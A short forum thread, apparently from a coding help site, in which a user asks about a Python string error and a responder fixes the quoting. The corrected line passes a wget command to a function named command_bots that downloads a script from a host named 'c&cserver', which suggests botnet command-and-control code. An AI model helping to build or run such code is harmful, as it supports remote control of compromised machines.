Skip to content
EOL while scanning literal
Profile icon
BrwlrNet

Okay, so I got this ebic code, but this Eol is touching me. Can someone tell what is wrong?

You are viewing a single comment. View All
Profile icon
AphixDev

Looks like python is counting that last quotation mark as part of the three that indicate the end of the string. Therefore, it seems that you have 4 quotation marks at the end. Try this:

command_bots("""wget -O /Users/Owner/Desktop/ 'http://c&cserver.com/script.py'""")